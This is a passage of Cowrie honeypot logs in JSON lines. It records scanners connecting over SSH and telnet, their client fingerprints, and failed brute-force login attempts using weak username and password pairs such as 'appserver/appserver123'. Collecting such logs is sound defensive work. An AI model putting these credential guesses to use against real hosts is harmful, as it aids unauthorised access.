{"eventid":"cowrie.session.closed","duration":30.840187788009644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:07.507148Z","src_ip":"62.171.135.55","session":"817d8f47af6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34840,"dst_ip":"159.203.135.109","dst_port":22,"session":"be499c7a4551","protocol":"ssh","message":"New connection: 122.168.114.167:34840 (159.203.135.109:22) [session: be499c7a4551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:14.574010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:18.605785Z","src_ip":"122.168.114.167","session":"be499c7a4551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:18.609552Z","src_ip":"122.168.114.167","session":"be499c7a4551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:37.346940Z","src_ip":"122.168.114.167","session":"be499c7a4551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46986,"dst_ip":"159.203.135.109","dst_port":22,"session":"91267915f589","protocol":"ssh","message":"New connection: 159.203.92.129:46986 (159.203.135.109:22) [session: 91267915f589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:37.823831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:37.830139Z","src_ip":"159.203.92.129","session":"91267915f589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:37.836951Z","src_ip":"159.203.92.129","session":"91267915f589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appserver","password":"123456","message":"login attempt [appserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:37.848709Z","src_ip":"159.203.92.129","session":"91267915f589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:38.855311Z","src_ip":"159.203.92.129","session":"91267915f589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.8","message":"Connection lost after 28.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:43.424124Z","src_ip":"122.168.114.167","session":"be499c7a4551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37236,"dst_ip":"159.203.135.109","dst_port":22,"session":"05ebb2a3246f","protocol":"ssh","message":"New connection: 122.168.114.167:37236 (159.203.135.109:22) [session: 05ebb2a3246f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:52.651412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:57.058690Z","src_ip":"122.168.114.167","session":"05ebb2a3246f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:35:57.062804Z","src_ip":"122.168.114.167","session":"05ebb2a3246f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:17.497898Z","src_ip":"122.168.114.167","session":"05ebb2a3246f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35762,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ac3df1b1e46","protocol":"ssh","message":"New connection: 159.203.92.129:35762 (159.203.135.109:22) [session: 1ac3df1b1e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:23.339463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:23.344275Z","src_ip":"159.203.92.129","session":"1ac3df1b1e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:23.348433Z","src_ip":"159.203.92.129","session":"1ac3df1b1e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appserver","password":"appserver","message":"login attempt [appserver/appserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:23.360750Z","src_ip":"159.203.92.129","session":"1ac3df1b1e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.3","message":"Connection lost after 31.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:23.969588Z","src_ip":"122.168.114.167","session":"05ebb2a3246f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:24.366910Z","src_ip":"159.203.92.129","session":"1ac3df1b1e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39656,"dst_ip":"159.203.135.109","dst_port":22,"session":"e440bacdfb82","protocol":"ssh","message":"New connection: 122.168.114.167:39656 (159.203.135.109:22) [session: e440bacdfb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:30.705988Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":48602,"dst_ip":"159.203.135.109","dst_port":23,"session":"601f9877e6f8","protocol":"telnet","message":"New connection: 185.26.126.47:48602 (159.203.135.109:23) [session: 601f9877e6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:35.213980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:35.586816Z","src_ip":"122.168.114.167","session":"e440bacdfb82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:35.590477Z","src_ip":"122.168.114.167","session":"e440bacdfb82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:36:57.663347Z","src_ip":"122.168.114.167","session":"e440bacdfb82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.8","message":"Connection lost after 33.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:04.543139Z","src_ip":"122.168.114.167","session":"e440bacdfb82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33714,"dst_ip":"159.203.135.109","dst_port":22,"session":"88d54844a8a5","protocol":"ssh","message":"New connection: 159.203.92.129:33714 (159.203.135.109:22) [session: 88d54844a8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:09.108491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:09.113079Z","src_ip":"159.203.92.129","session":"88d54844a8a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:09.117408Z","src_ip":"159.203.92.129","session":"88d54844a8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appserver","password":"appserver123","message":"login attempt [appserver/appserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:09.127805Z","src_ip":"159.203.92.129","session":"88d54844a8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:10.132451Z","src_ip":"159.203.92.129","session":"88d54844a8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42052,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce006ce478fe","protocol":"ssh","message":"New connection: 122.168.114.167:42052 (159.203.135.109:22) [session: ce006ce478fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:10.253155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:15.624588Z","src_ip":"122.168.114.167","session":"ce006ce478fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:15.632619Z","src_ip":"122.168.114.167","session":"ce006ce478fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.06817603111267,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:16.282060Z","src_ip":"185.26.126.47","session":"601f9877e6f8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:34.736632Z","src_ip":"122.168.114.167","session":"ce006ce478fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.4","message":"Connection lost after 28.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:38.648597Z","src_ip":"122.168.114.167","session":"ce006ce478fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47434,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6918c01bdb5","protocol":"ssh","message":"New connection: 159.203.92.129:47434 (159.203.135.109:22) [session: d6918c01bdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:52.195980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:37:52.200113Z","src_ip":"159.203.92.129","session":"d6918c01bdb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nis